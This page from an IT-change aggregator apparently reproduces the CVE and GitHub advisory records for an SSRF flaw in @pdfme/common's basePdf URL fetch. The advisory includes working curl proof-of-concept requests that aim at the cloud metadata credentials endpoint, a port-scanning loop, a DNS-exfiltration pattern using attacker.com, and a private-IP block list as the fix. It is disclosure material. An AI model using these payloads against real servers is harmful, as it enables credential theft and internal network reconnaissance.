Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 271/271 feeds/APIs · 464/464 docs · 7/9 advisories · checked 16:23 UTC Customize Public modeDiscuss ChangeIntel on Discord
Advisory catalogCVE-2026-82866

@pdfme/common before 5.5.10 SSRF via Unvalidated URL Fetch

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-82866

Published

@pdfme/common before 5.5.10 contains a server-side request forgery vulnerability in the getB64BasePdf function that fetches arbitrary URLs without validation when basePdf is attacker-controlled. Attackers who control the basePdf template field can force servers or clients to make requests to internal endpoints, enabling metadata exfiltration, network reconnaissance, and blind request forgery attacks.

Source published
31 Aug 2026 08:46:36 UTC
Source modified
08 Oct 2026 15:25:40 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.9 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

osv · GHSA-pgx6-7jcq-2qff

Published

## Summary The `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts. ## Details The vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`: ```typescript // packages/common/src/helper.ts:130-141 export const getB64BasePdf = async ( customPdf: ArrayBuffer | Uint8Array | string, ): Promise<string> => { if ( typeof customPdf === 'string' && !customPdf.startsWith('data:application/pdf;') && typeof window !== 'undefined' ) { const response = await fetch(customPdf); // <-- No URL validation const blob = await response.blob(); return blob2Base64Pdf(blob); } // ... }; ``` The Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string: ```typescript export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]); export const BasePdf = z.union([CustomPdf, BlankPdf]); ``` The `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline. This function is called from multiple entry points: - `packages/generator/src/helper.ts:42` — during PDF generation - `packages/ui/src/hooks.ts:67` — during UI rendering - `packages/ui/src/helper.ts:292` — during template processing The `typeof window !== 'undefined'` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions. ## PoC ### 1. Setup a vulnerable application ```javascript // server.js — Next.js API route or Express handler using pdfme import { generate } from '@pdfme/generator'; export async function POST(req) { const { template, inputs } = await req.json(); // Application accepts user-provided templates const pdf = await generate({ template, inputs, plugins: {} }); return new Response(pdf); } ``` ### 2. Probe internal services via SSRF ```bash # Attacker sends a template with basePdf pointing to an internal service curl -X POST http://target-app.com/api/generate-pdf \ -H 'Content-Type: application/json' \ -d '{ "template": { "basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "schemas": [[]] }, "inputs": [{}] }' ``` ### 3. Port scanning internal network ```bash # Scan internal hosts by observing response timing differences for port in 80 443 3306 5432 6379 8080; do curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \ -H 'Content-Type: application/json' \ -d "{ \"template\": { \"basePdf\": \"http://10.0.0.1:${port}/\", \"schemas\": [[]] }, \"inputs\": [{}] }" echo " - port $port" done ``` ### 4. Exfiltrate cloud metadata (AWS example) ```bash # In SSR context, fetch reads the full response body and converts to base64 curl -X POST http://target-app.com/api/generate-pdf \ -H 'Content-Type: application/json' \ -d '{ "template": { "basePdf": "http://169.254.169.254/latest/meta-data/", "schemas": [[]] }, "inputs": [{}] }' # The fetch will succeed; the response will fail PDF parsing, # but error messages or timing differences leak information ``` ## Impact - **Cloud metadata exfiltration**: In SSR deployments on AWS/GCP/Azure, attackers can reach instance metadata endpoints (`169.254.169.254`) to steal IAM credentials, API tokens, and service account keys. - **Internal network reconnaissance**: Attackers can probe internal services, discover open ports, and map network topology by observing response timing and error differences. - **Internal service access**: Requests to internal APIs (databases, caches, admin panels) that are not exposed to the internet but accessible from the server. - **Blind request forgery in browsers**: Even with CORS restrictions limiting response reading, attackers can trigger state-changing requests to internal services (GET-based actions, webhook triggers). - **Data exfiltration via DNS**: Attackers can use DNS-based exfiltration by crafting URLs like `http://<stolen-data>.attacker.com` to leak information even when responses are not readable. ## Recommended Fix Add URL validation in `getB64BasePdf` before calling `fetch()`. At minimum, restrict to HTTPS and block private/reserved IP ranges: ```typescript // packages/common/src/helper.ts const BLOCKED_HOSTNAME_PATTERNS = [ /^localhost$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2\d|3[01])\./, /^192\.168\./, /^169\.254\./, /^0\./, /^\[::1\]/, /^\[fc/i, /^\[fd/i, /^\[fe80:/i, ]; function validatePdfUrl(urlString: string): void { let parsed: URL; try { parsed = new URL(urlString); } catch { throw new Error(`Invalid basePdf URL: ${urlString}`); } if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') { throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`); } const hostname = parsed.hostname; for (const pattern of BLOCKED_HOSTNAME_PATTERNS) { if (pattern.test(hostname)) { throw new Error(`basePdf URL must not point to private/reserved addresses`); } } } export const getB64BasePdf = async ( customPdf: ArrayBuffer | Uint8Array | string, ): Promise<string> => { if ( typeof customPdf === 'string' && !customPdf.startsWith('data:application/pdf;') && typeof window !== 'undefined' ) { validatePdfUrl(customPdf); // <-- Add validation before fetch const response = await fetch(customPdf); const blob = await response.blob(); return blob2Base64Pdf(blob); } // ... }; ``` Additionally, consider documenting the security implications of passing user-controlled data as `basePdf` and providing an option for applications to supply their own URL validator or allowlist.

Source published
20 Mar 2026 20:45:17 UTC
Source modified
24 Oct 2026 02:56:54 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 24 Oct 16:23 UTC · 271 of 271 readable · 269 fully read · documentation 464/464 current